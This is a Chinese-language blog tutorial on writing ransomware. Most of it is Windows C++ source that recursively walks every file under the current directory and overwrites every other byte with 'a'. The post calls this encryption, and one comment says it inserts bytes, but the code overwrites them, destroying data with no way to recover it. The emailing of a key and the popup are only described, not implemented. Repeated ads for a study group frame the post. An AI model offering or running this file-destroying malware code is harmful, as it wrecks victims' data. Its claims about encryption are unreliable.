一、编程思路
什么是勒索病毒:
遍历你电脑上所有文件,并且用加密算法加密, 然后把加密秘钥发送到自己邮箱里,弹出窗口。
工具:操作系统API,加密算法
思路:
1.程序设计 思路规划清楚
1.1 加密单个文件
1.2 遍历文件系统并加密文件
2.工程实现: 编程
3.测试上线 :、测试
欢迎加入学习群【892643663】,获取全套免费C/C++企业实战级课程资源(素材+源码+视频)和编译大礼包
二、代码解析
// 文件遍历加密.cpp : 定义控制台应用程序的入口点。 // #include "stdafx.h" #include #include //加密fileName这个文件 void jiami(char* fileName); //遍历文件夹并找到每一个文件 void findFile(char* pathName); int _tmain(int argc, _TCHAR* argv[]) { // jiami("1.txt"); char buff[256] = { 0 };//2^8 char 8bit GetCurrentDirectory(256, buff); // printf("文件夹名字是:%s\n", buff); findFile(buff); while (1);//死循环 停顿 return 0; } //遍历文件夹并找到每一个文件 void findFile(char* pathName){//不要在C盘运行这个程序 //1 设置要找的文件名 char findFileName[256]; memset(findFileName, 0, 256);//清空数组 sprintf(findFileName, "%s\*.*", pathName); printf("要找的文件名是:%s\n", findFileName); //2 找这个要找的文件 WIN32_FIND_DATA findData; HANDLE hFile = FindFirstFile(findFileName, &findData); if (INVALID_HANDLE_VALUE == hFile){ printf("找文件失败!\n"); return; } int ret = 1; char temp[256]; while (ret){ if (findData.dwFileAttributes == FILE_ATTRIBUTE_DIRECTORY ){ if (findData.cFileName[0] != '.'){ memset(temp, 0, 256); sprintf(temp, "%s\%s", pathName, findData.cFileName); printf("找到一个文件夹:%s\n", temp); // Sleep(1000); findFile(temp); } } else{ memset(temp, 0, 256); sprintf(temp, "%s\%s", pathName, findData.cFileName); printf("找到一个文件:%s\n", temp); //加密这个文件 jiami(temp); } ret = FindNextFile(hFile, &findData); } } //加密fileName这个文件 void jiami(char* fileName){ //1 打开文件 FILE* fp = NULL;//文件指针代表一个文件 // 文件名 打开方式 r r+ w w+ a a+ fp = fopen(fileName, "r+");//要能读能写并且不能覆盖 if (NULL == fp){ printf("打开文件失败!\n"); return; } printf("打开%s文件成功!\n",fileName); //2 拿到文件大小 //2.1 设置光标(文件内容指针)到文件末尾 fseek(fp, 0, SEEK_END); //2.2 计算光标位置距离文件头有多少字节 int size = ftell(fp); //2.3 设置光标位置到文件头 fseek(fp, 0, SEEK_SET); printf("文件大小为:%d字节!\n", size); //3 每隔一个字节插入一个字节 char code = 'a'; for (int i = 0; i < size; i++){ //写入1字节 fwrite(&code, 1, 1, fp); //把光标往后挪1字节 fseek(fp, 1, SEEK_CUR); } //4 保存关闭 fclose(fp); }
欢迎加入学习群【892643663】,获取全套免费C/C++企业实战级课程资源(素材+源码+视频)和编译大礼包
c语言 C 语言 c++
版权声明:本文内容由网络用户投稿,版权归原作者所有,本站不拥有其著作权,亦不承担相应法律责任。如果您发现本站中有涉嫌抄袭或描述失实的内容,请联系我们jiasou666@gmail.com 处理,核实后本网站将在24小时内删除侵权内容。